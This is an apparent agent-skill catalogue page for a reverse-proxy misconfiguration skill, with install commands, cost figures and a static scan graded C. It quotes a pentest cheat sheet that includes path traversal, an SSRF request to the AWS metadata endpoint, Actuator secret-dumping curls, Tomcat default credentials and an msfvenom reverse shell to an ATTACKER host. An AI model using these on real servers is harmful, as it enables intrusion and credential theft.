Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add MingyiSecLab/Mingyi-Atlas --skill proxy-misconfiggit clone --depth 1 https://github.com/MingyiSecLab/Mingyi-AtlasWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/proxy-misconfig)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/proxy-misconfig"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/proxy-misconfig/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/proxy-misconfig"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/proxy-misconfig.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00037 | $0.01415 |
| Opus 5 | $0.00018 | $0.00707 |
| Sonnet 5 | $0.00007 | $0.00283 |
| Haiku 4.5 | $0.00004 | $0.00142 |
Grade C, and why
proxy-misconfig scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Cloud metadata endpointhighServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
GET /proxy/169.254.169.254/latest/meta-data → AWS metadata SSRF Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl $TARGET/actuator This is a copy
94% identical to proxy-misconfig — 2 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 161 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Reverse Proxy Misconfigurations
1. Nginx alias traversal
Nginx alias directive (vs root) is dangerous when URL pattern is
prefix-based but alias is a directory:
location /static {
alias /var/www/static/; # trailing slash CRITICAL
}
# But buggy:
location /static {
alias /var/www/static; # NO trailing slash → path traversal possible
}
Bypass:
GET /static../etc/passwd → resolves to /var/www/static../etc/passwd → /var/www/etc/passwd (if exists)
GET /static../ → directory listing if autoindex on
2. Apache mod_rewrite SSRF
RewriteRule ^/proxy/(.*) http://$1 [P]
# Attacker:
GET /proxy/internal-host.local/admin → server makes outbound to internal
GET /proxy/169.254.169.254/latest/meta-data → AWS metadata SSRF
3. Spring Boot Actuator exposure
# Common endpoints if exposed
curl $TARGET/actuator
curl $TARGET/actuator/env # all env vars including secrets
curl $TARGET/actuator/heapdump # full memory dump (often contains tokens/passwords)
curl $TARGET/actuator/mappings # all routes
curl $TARGET/actuator/loggers # logging config
curl $TARGET/actuator/jolokia/ # JMX bridge → RCE in many configs
# Pre-2.x style
curl $TARGET/env
curl $TARGET/dump
curl $TARGET/trace
curl $TARGET/heapdump
4. Tomcat Manager
curl -u tomcat:tomcat $TARGET/manager/text/list
# Default creds:
# tomcat:tomcat, admin:admin, admin:tomcat, role1:role1
# tomcat:s3cret, manager:manager
# If logged in → upload WAR for RCE
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f war -o shell.war
curl -u admin:admin -T shell.war "$TARGET/manager/text/deploy?path=/shell"
curl "$TARGET/shell/" # triggers shell
5. IIS short-name disclosure (8.3 names)
# Probe via specific URL pattern + difference in error
curl -s -o /dev/null -w "%{http_code}\n" "$TARGET/A*~1*/"
# 400 if exists, 404 if not — leaks first chars of files/dirs
# Tool: shortscan, IIS_shortname_Scanner
6. Nginx merge_slashes off + URL encoded
GET /api//../../admin # if merge_slashes off, internal route mapping bypasses auth
GET /api/%2e%2e/admin # URL-encoded traversal
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 161 lines · 37 tokens per session scan C e37b970ba671
proxy-misconfig is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 37 tokens to every session and 1,415 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it C with 2 findings (cloud metadata endpoint, makes network calls). It is 94% identical to proxy-misconfig, differing in 2 lines, and is treated as a copy.
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